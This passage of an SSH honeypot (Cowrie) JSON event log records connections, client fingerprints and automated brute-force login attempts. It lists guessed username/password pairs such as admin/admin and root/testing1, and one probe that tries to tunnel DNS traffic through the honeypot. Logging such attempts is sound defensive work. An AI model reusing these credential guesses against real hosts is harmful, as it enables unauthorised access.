-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:56.123952Z","src_ip":"160.251.185.39","session":"878710db65d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user02","password":"12345","message":"login attempt [user02/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:56.889226Z","src_ip":"160.251.185.39","session":"878710db65d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":37510,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a02537028e6","protocol":"ssh","message":"New connection: 58.186.20.143:37510 (10.17.0.5:22) [session: 6a02537028e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:56.908426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:56.913368Z","src_ip":"58.186.20.143","session":"6a02537028e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:57.158260Z","src_ip":"58.186.20.143","session":"6a02537028e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:58.075696Z","src_ip":"160.251.185.39","session":"878710db65d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer!","message":"login attempt [deployer/deployer!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:58.169979Z","src_ip":"58.186.20.143","session":"6a02537028e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:59.419581Z","src_ip":"58.186.20.143","session":"6a02537028e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":38728,"dst_ip":"159.203.135.109","dst_port":22,"session":"25da1e279789","protocol":"ssh","message":"New connection: 101.47.159.125:38728 (159.203.135.109:22) [session: 25da1e279789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:57:15.471608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:57:15.477164Z","src_ip":"101.47.159.125","session":"25da1e279789","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:57:15.721278Z","src_ip":"101.47.159.125","session":"25da1e279789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3srv","password":"ts3server","message":"login attempt [ts3srv/ts3server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:57:16.711742Z","src_ip":"101.47.159.125","session":"25da1e279789","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:57:17.954235Z","src_ip":"101.47.159.125","session":"25da1e279789","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":48110,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fffeb8f7f80","protocol":"ssh","message":"New connection: 14.225.205.58:48110 (159.203.135.109:22) [session: 9fffeb8f7f80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:57:40.807578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:57:40.812413Z","src_ip":"14.225.205.58","session":"9fffeb8f7f80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:57:41.073008Z","src_ip":"14.225.205.58","session":"9fffeb8f7f80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:57:42.150121Z","src_ip":"14.225.205.58","session":"9fffeb8f7f80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:57:43.436318Z","src_ip":"14.225.205.58","session":"9fffeb8f7f80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":53304,"dst_ip":"10.17.0.5","dst_port":22,"session":"d197061a6d61","protocol":"ssh","message":"New connection: 87.251.64.176:53304 (10.17.0.5:22) [session: d197061a6d61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:57:53.351183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:57:53.355356Z","src_ip":"87.251.64.176","session":"d197061a6d61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:57:53.452081Z","src_ip":"87.251.64.176","session":"d197061a6d61","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:57:53.744831Z","src_ip":"87.251.64.176","session":"d197061a6d61","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:57:53.844516Z","session":"d197061a6d61","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:57:53.943898Z","src_ip":"87.251.64.176","session":"d197061a6d61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:57:54.177907Z","src_ip":"87.251.64.176","session":"d197061a6d61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.3.156","src_port":42194,"dst_ip":"159.203.135.109","dst_port":22,"session":"f753268d3b1e","protocol":"ssh","message":"New connection: 147.135.3.156:42194 (159.203.135.109:22) [session: f753268d3b1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:58:30.866776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:58:31.026436Z","src_ip":"147.135.3.156","session":"f753268d3b1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:58:31.030444Z","src_ip":"147.135.3.156","session":"f753268d3b1e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:58:31.510763Z","src_ip":"147.135.3.156","session":"f753268d3b1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:58:31.622088Z","src_ip":"147.135.3.156","session":"f753268d3b1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":24534,"dst_ip":"159.203.135.109","dst_port":22,"session":"e90bf8fdadf0","protocol":"ssh","message":"New connection: 130.12.180.51:24534 (159.203.135.109:22) [session: e90bf8fdadf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:58:31.984695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:58:31.989273Z","src_ip":"130.12.180.51","session":"e90bf8fdadf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:58:32.074641Z","src_ip":"130.12.180.51","session":"e90bf8fdadf0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:58:32.321260Z","src_ip":"130.12.180.51","session":"e90bf8fdadf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:58:32.842034Z","src_ip":"130.12.180.51","session":"e90bf8fdadf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":41448,"dst_ip":"159.203.135.109","dst_port":22,"session":"be9d2bf7db48","protocol":"ssh","message":"New connection: 14.225.205.58:41448 (159.203.135.109:22) [session: be9d2bf7db48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:58:41.630555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:58:41.634349Z","src_ip":"14.225.205.58","session":"be9d2bf7db48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:58:41.887719Z","src_ip":"14.225.205.58","session":"be9d2bf7db48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testing1","message":"login attempt [root/testing1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:58:42.932483Z","src_ip":"14.225.205.58","session":"be9d2bf7db48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:58:44.189452Z","src_ip":"14.225.205.58","session":"be9d2bf7db48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":43430,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc31ec14f328","protocol":"ssh","message":"New connection: 58.186.20.143:43430 (10.17.0.5:22) [session: cc31ec14f328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:58:48.585508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:58:48.590454Z","src_ip":"58.186.20.143","session":"cc31ec14f328","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-